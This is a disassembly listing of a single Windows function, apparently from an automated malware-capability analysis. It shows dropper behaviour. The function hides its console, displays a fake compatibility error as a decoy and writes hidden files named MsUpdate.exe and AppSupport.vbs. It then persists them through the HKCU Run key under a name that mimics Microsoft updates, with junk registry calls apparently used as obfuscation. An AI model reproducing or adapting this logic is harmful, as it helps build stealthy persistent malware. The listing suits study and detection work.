Function at 0x140002b30
Capabilities:
Access peb ldr_data
Delete registry key
Get common file path
Get session user name
Persist via run registry key
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x600]
sub rsp, 0x700
mov rax, qword [0x14002d018]
xor rax, rsp
mov qword [rbp + 0x5f0], rax
xor r14d, r14d
mov qword [rsp + 0x58], r14
mov qword [rbp + 0x198], r14
mov qword [rsp + 0x60], r14
mov qword [rbp + 0x1a0], r14
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor r9d, r9d
mov qword [rsp + 0x20], r14
xor r8d, r8d
lea edx, [r14 + 0xe]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], r14d
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov ecx, dword [0x14002da44]
shl ecx, 0xd
xor ecx, dword [0x14002da44]
mov eax, ecx
shr eax, 0x11
xor eax, ecx
mov ecx, eax
shl ecx, 5
xor ecx, eax
mov dword [0x14002da44], ecx
mov dword [rsp + 0x50], ecx
cmp ecx, 0x491fd3a1
ja 0x140002be8
lea rcx, [rsp + 0x50]
call fcn.140002ac0
mov ecx, dword [rsp + 0x50]
cmp ecx, 0xffffff
jae 0x140002d04
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyExA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyExW]
mov qword [rsp + 0x38], r14
xor r9d, r9d
mov qword [rsp + 0x30], r14
xor r8d, r8d
mov qword [rsp + 0x28], r14
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov qword [rsp + 0x38], r14
xor r9d, r9d
mov qword [rsp + 0x30], r14
xor r8d, r8d
mov qword [rsp + 0x28], r14
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov qword [rsp + 0x38], r14
xor r9d, r9d
mov qword [rsp + 0x30], r14
xor r8d, r8d
mov qword [rsp + 0x28], r14
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov qword [rsp + 0x38], r14
xor r9d, r9d
mov qword [rsp + 0x30], r14
xor r8d, r8d
mov qword [rsp + 0x28], r14
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov qword [rsp + 0x28], r14
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r14
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov qword [rsp + 0x28], r14
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r14
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0x14002ee10], r14d
mov qword [rsp + 0x710], rbx
mov qword [rsp + 0x718], rsi
mov qword [rsp + 0x720], rdi
jne 0x140002d61
lea rdx, [0x14002ede0]
mov ecx, 0x1d5565b3
call fcn.140002670
test eax, eax
je 0x1400030f3
lea rdx, [0x14002ee00]
mov ecx, 0xb1cafd37
call fcn.140002670
test eax, eax
je 0x1400030f3
mov dword [0x14002ee10], 1
call fcn.1400021d0
test eax, eax
je 0x1400030f3
mov r9d, 0x10
lea r8, str.Compatibility_Issue
lea rdx, str.The_system_is_not_compatible_with_this_application.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov eax, dword [0x1400298d8]
lea rcx, [rbp + 0x1e0]
movsd xmm0, qword [str.:_x_x]
xor edx, edx
mov dword [rbp + 0x1d0], eax
mov r8d, 0x410
movzx eax, word [0x1400298dc]
mov word [rbp + 0x1d4], ax
movsd qword [rbp + 0x1c8], xmm0
call fcn.140002610
xor eax, eax
mov byte [rsp + 0x70], r14b
xor edx, edx
mov word [rsp + 0x71], ax
mov r8d, 0x20c
mov byte [rsp + 0x73], al
lea rcx, [rbp - 0x7c]
mov dword [rsp + 0x74], eax
mov qword [rsp + 0x78], r14
mov dword [rbp - 0x80], 0xe
call fcn.140002610
mov r8d, 0x208
mov byte [rbp + 0x190], 1
lea rdx, [rbp + 0x1e0]
xor ecx, ecx
call qword [0x14002eda0]
test eax, eax
je 0x140002efe
call fcn.140009c50
mov ebx, eax
call fcn.140009c50
imul ebx, eax
call fcn.140009c50
mov r9d, eax
mov dword [rsp + 0x20], ebx
lea r8, [rbp + 0x1c8]
mov edx, 0x104
lea rcx, [rbp - 0x7c]
call fcn.140001670
xor r9d, r9d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
lea rcx, [rbp + 0x1e0]
mov edx, 0x110000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [0x14002ed98]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140002efe
mov r9d, 0x220
lea r8, [rsp + 0x70]
mov edx, 3
mov rcx, rax
call qword [0x14002eda8]
test eax, eax
je 0x140002ef5
mov rcx, rbx
call qword [0x14002ed08]
xor r9d, r9d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
lea rcx, [rbp + 0x1e0]
mov edx, 0x110000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [0x14002ed98]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140002efe
mov r9d, 1
lea r8, [rbp + 0x190]
mov rcx, rax
lea edx, [r9 + 3]
call qword [0x14002eda8]
mov rcx, rbx
call qword [0x14002ed08]
call fcn.140001b00
test eax, eax
je 0x1400030f3
mov rax, qword gs:[0x60]
lea r9, [rbp + 0x198]
mov edx, 0x65
lea r8, [rsp + 0x58]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x20]
mov rcx, qword [rax + 0x20]
call fcn.1400010e0
test eax, eax
je 0x1400030f3
mov rax, qword gs:[0x60]
lea r9, [rbp + 0x1a0]
mov edx, 0x66
lea r8, [rsp + 0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x20]
mov rcx, qword [rax + 0x20]
call fcn.1400010e0
test eax, eax
je 0x1400030f3
mov edi, dword [rbp + 0x198]
lea rdx, [rbp + 0x1e0]
mov rsi, qword [rsp + 0x58]
xor r9d, r9d
xor ecx, ecx
mov qword [rbp + 0x1c8], r14
lea r8d, [r9 + 0x1a]
call qword [0x14002ecf8]
test eax, eax
je 0x1400030f3
lea rax, str.MsUpdate.exe
mov edx, 0x208
lea r9, [rbp + 0x1e0]
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [rsp + 0x70]
call fcn.140001720
test eax, eax
js 0x1400030f3
mov qword [rsp + 0x30], r14
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [0x14002ed00]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400030f3
mov rdx, qword [0x14002ede8]
mov ecx, dword [0x14002ede0]
call fcn.140003260
mov qword [rsp + 0x40], r14
lea rax, [rbp + 0x1c8]
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov dword [rsp + 0x30], edi
lea rax, [rbp + 0x1a8]
mov qword [rsp + 0x28], rsi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.14000328c
mov rcx, rbx
call qword [0x14002ed08]
mov edx, 2
lea rcx, [rsp + 0x70]
call qword [0x14002edb0]
test eax, eax
je 0x1400030f3
lea rax, [rsp + 0x50]
mov r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [0x14002ed48]
test eax, eax
jne 0x1400030f3
lea rcx, [rsp + 0x70]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], r14b
jne 0x1400030b0
mov rcx, qword [rsp + 0x50]
lea rdx, str.MsUpdate
inc eax
mov r9d, 1
mov dword [rsp + 0x28], eax
xor r8d, r8d
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
call qword [0x14002ed60]
test eax, eax
je 0x140003130
mov rcx, qword [rsp + 0x50]
call qword [0x14002ed58]
mov eax, 0xffffffff
mov rdi, qword [rsp + 0x720]
mov rsi, qword [rsp + 0x718]
mov rbx, qword [rsp + 0x710]
mov rcx, qword [rbp + 0x5f0]
xor rcx, rsp
call fcn.1400032d0
mov r14, qword [rsp + 0x728]
add rsp, 0x700
pop rbp
ret
mov edi, dword [rbp + 0x1a0]
lea rcx, [rbp + 0x1e0]
mov rsi, qword [rsp + 0x60]
xor edx, edx
mov r8d, 0x104
call fcn.140002610
xor edx, edx
lea rcx, [rsp + 0x70]
mov r8d, 0x208
call fcn.140002610
xor r9d, r9d
mov qword [rbp + 0x1c8], r14
lea rdx, [rbp + 0x1e0]
xor ecx, ecx
lea r8d, [r9 + 7]
call qword [0x14002ecf8]
test eax, eax
je 0x1400030f3
lea rax, str.AppSupport.vbs
mov edx, 0x208
lea r9, [rbp + 0x1e0]
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [rsp + 0x70]
call fcn.140001720
mov qword [rsp + 0x30], r14
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [0x14002ed00]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400030f3
mov rdx, qword [0x14002ede8]
mov ecx, dword [0x14002ede0]
call fcn.140003260
mov qword [rsp + 0x40], r14
lea rax, [rbp + 0x1c8]
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov dword [rsp + 0x30], edi
lea rax, [rbp + 0x1b8]
mov qword [rsp + 0x28], rsi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.14000328c
mov rcx, rbx
call qword [0x14002ed08]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x140003248
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x140003258
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
jmp 0x1400030f8